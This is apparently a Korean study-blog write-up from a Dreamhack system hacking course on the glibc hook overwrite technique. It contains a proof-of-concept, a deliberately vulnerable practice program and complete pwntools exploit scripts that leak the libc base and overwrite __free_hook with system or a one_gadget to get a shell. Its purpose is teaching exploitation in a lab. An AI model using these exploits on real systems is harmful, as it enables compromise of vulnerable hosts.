일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- c++
- 드림핵
- 숙명여자대학교 정보보안동아리
- C언어
- 백준
- 웹페이지 만들기
- WarGame
- BOJ Python
- HTML
- hackerrank
- lob
- siss
- 풀이
- SWEA
- hackctf
- c
- BOJ
- The Loard of BOF
- CSS
- PHP 웹페이지 만들기
- 숙명여자대학교 정보보안 동아리
- 생활코딩
- 파이썬
- 기계학습
- Sookmyung Information Security Study
- Javascript
- Python
- 머신러닝
- XSS Game
- 자료구조 복습
- Today
- Total
혜랑's STORY
[System Hacking STAGE 7] Exploit Tech: Hook Overwrite 본문
[System Hacking STAGE 7] Exploit Tech: Hook Overwrite
hyerang0125 2022. 2. 9. 14:23Hook Overwrite ;
malloc과 free 함수를 후킹하여 각 함수가 호출될 때, 공격자가 작성한 악의적인 코드가 실행되게 하는 기법
※ Hooking(후킹) : 운영체제가 어떤 코드를 실행하려 할 때, 이를 낚아채어 다른 코드가 실행되게 하는 것
메모리 함수 훅
malloc, free, realloc hook
C언어에서 메모리의 동적 할당과 해제를 담당하는 함수로는 malloc, free, realloc이 대표적이다. 각 함수는 libc.so에 구현되어 있다.
libc에는 이 함수들의 디버깅 편의를 위해 훅 변수가 정의되어 있다. 예를 들어 malloc 함수는 __malloc_hook 변수의 값이 NULL이 아닌지 검사하고 아니라면 malloc을 수행하기 전에 __malloc_hook이 가리키는 함수를 먼저 실행한다. 이때, malloc의 인자는 훅 함수에 전달된다. 같은 방식으로 free, realloc도 각각 __free_hook, __realloc_hook이라는 훅 변수를 사용한다.
// __malloc_hook
void *__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook); // malloc hook read
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
// ...
}
훅 위치와 권한
__malloc_hook, __free_hook, __realloc_hook은 관련된 함수들과 마찬가지로 libc.so에 정의되어 있다.
이 변수들의 오프셋은 각각 0x3ed8e8, 0x3ebc32, 0x3ebc28인데, 섹션 헤더 정보를 참조하면 libc.so의 bss 섹션에 포함됨을 알 수 있다.
bss 섹션은 쓰기가 가능하므로 이 변수들의 값은 조작될 수 있다.
Hook Overwrite
앞서 배운 정보를 종합해보면, malloc, free, realloc에는 각가에 대응되는 훅 변수가 존재하며, libc의 bss 섹션에 위치하여 실행 중에 덮어쓰는 것이 가능하다. 또한, 훅을 실행할 때 기존 함수에 전달한 인자를 같이 전달해 주기 때문에 __malloc_hook을 system 함수의 주소로 덮고, malloc("/bin/sh")을 호출하여 셸을 획득하는 등의 공격이 가능하다.
아래 예제는 훅을 덮는 공격이 가능함을 보이는 Proof-of-Concept(PoC)이다.
// Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c
#include <malloc.h>
#include <stdlib.h>
#include <string.h>
const char *buf="/bin/sh";
int main() {
printf("\"__free_hook\" now points at \"system\"\n");
__free_hook = (void *)system;
printf("call free(\"/bin/sh\")\n");
free(buf);
}
컴파일하고 실행하면, __free_hook을 system 함수로 덮고, free("/bin/sh")를 호출하자 셸이 획득되는 것을 확인할 수 있다.
Free Hook Overwrite
free 함수의 훅을 덮는 공격을 실습해 볼 것이다. 아래는 실습에 사용할 코드이다.
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
보호 기법
모든 보호 기법이 적용되어 있다.
코드 분석
- 16~19 줄 : 매우 큰 스택 버퍼 오버플로우가 발생한다. 그러나 알고 있는 정보가 없으므로 카나리를 올바르게 덮을 수 없고, 반환 주소도 유의미한 값으로 조작할 수 없다. 그택에 있는 데이터를 읽는데 사용할 수 있을 것이다.
- 21~27 줄 : 주소를 입력하고, 그 주소에 임의의 값을 쓸 수 있다.
- 29~32 줄 : 주소를 입력하고, 그 주소의 메모리를 해제할 수 있다.
공격 수단
[1] 스택의 어떤 값을 읽을 수 있다.
[2] 임의 주소에 임의 값을 쓸 수 있다.
[3] 임의 주소를 해제할 수 있다.
설계
1. 라이브러리의 변수 및 함수들의 주소 구하기
__free_hook, system 함수, "/bin/sh" 문자열은 libc.so에 정의되어 있으므로, 매핑된 libc.so안의 주소를 구해야 이들의 주소를 계산할 수 있다. [1]을 이용하면 스택의 값을 읽을 수 있는데, 스택에는 libc의 주소가 있을 가능성이 매우 크다. 특히, main 함수는 __libc_start_main 이라는 라이브러리 함수가 호출하므로 main 함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있을 것이다.
2. 셸 획득
[2] 에서 __free_hook의 값을 system 함수의 주소로 덮어쓰고, [3]에서 "/bin/sh"를 해제하게 하면 system("/bin/sh")가 호출되어 셸을 획득할 수 있다.
익스플로잇
1. 라이브러리의 변수 및 함수들의 주소 구하기
반환 주소를 읽어서 라이브러리의 변수 및 함수들의 주소를 구할 수 있다. gdb로 main 함수의 반환 주소인 libc_start_main을 읽은 다음, 그 값에서 libc의 매핑 주소를 빼면 libc와 반환 주소의 오프셋을 구할 수 있다. (2가지 주소는 모두 libc에 함께 매핑되어있는 주소이기 때문이다.) 익스플로잇에서는 그 오프셋을 이용하여 libc의 매핑 주소를 계산할 수 있다.
익스플로잇 코드
from pwn import *
#context.log_level = 'debug'
p = process('./fho')
e = ELF('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 0xe7) #__libc_start_main + 231
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
print('[+] libc_base: ' + hex(libc_base))
print('[+] system: ' + hex(system))
print('[+] __free_hook: ' + hex(free_hook))
print('[+] /bin/sh: ' + hex(binsh))
실행 결과
2. 셸 획득
구해낸 __free_hook, system 함수, "/bin/sh" 문자열의 주소를 이용하면 셸을 획득할 수 있다.
from pwn import *
#context.log_level = 'debug'
p = process('./fho')
e = ELF('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 0xe7)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
print('[+] libc_base: ' + hex(libc_base))
print('[+] system: ' + hex(system))
print('[+] __free_hook: ' + hex(free_hook))
print('[+] /bin/sh: ' + hex(binsh))
# [2] Overwrite '__free_hook' with 'system'
p.sendlineafter("To write: ", str(free_hook))
p.sendlineafter("With: ", str(system))
# [3] Exploit
p.sendlineafter("To free: ", str(binsh))
p.interactive()
실행 결과
+a, one_gadget
one_gadget
one_gadget 또는 magic_gadget은 실행하면 셸이 획득되는 코드 뭉치를 말한다. 이 도구를 사용하면 libc에서 쉽게 one_gadget을 찾을 수 있다.
https://github.com/david942j/one_gadget
one_gadget은 함수에 인자를 전달하기 어려울 때 유용하게 사용될 수 있다. 예를 들어 __malloc_hook을 덮을 수 있는데, malloc을 호출할 때 인자를 검사해서 작은 정수밖에 입력할 수 없는 상황이라면 "/bin/sh"를 인자로 전달하기가 매우 어렵다. 이럴때 제약 조건을 만족하는 one_gadget이 존재한다면, 이를 호출해서 셸을 획득할 수 있다.
one_gadget 실습
from pwn import *
#context.log_level = 'debug'
p = process('./fho')
e = ELF('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 0xe7)
#system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
#binsh = libc_base + next(libc.search(b"/bin/sh"))
one_gadget = libc_base + 0x4f432
print('[+] libc_base: ' + hex(libc_base))
#print('[+] system: ' + hex(system))
print('[+] __free_hook: ' + hex(free_hook))
#print('[+] /bin/sh: ' + hex(binsh))
print('[+] one_gadget: ' + hex(one_gadget))
# [2] Overwrite '__free_hook' with 'system'
p.sendlineafter("To write: ", str(free_hook))
#p.sendlineafter("With: ", str(system))
p.sendlineafter("With: ", str(one_gadget))
# [3] Exploit
p.sendlineafter("To free: ", str(0xdeadbeef)) # dosen't matter
p.interactive()
실습 결과
'무지성 공부방 > Dreamhack SystemHacking' 카테고리의 다른 글
[System Hacking STAGE 7] hook (0) | 2022.02.13 |
---|---|
[System Hacking STAGE 7] oneshot (0) | 2022.02.13 |
[System Hacking STAGE 7] Background: RELRO (0) | 2022.02.09 |
[System Hacking STAGE 7] Background: PIE (0) | 2022.02.06 |
[System Hacking STAGE 6] basic_rop_x86 (0) | 2022.02.06 |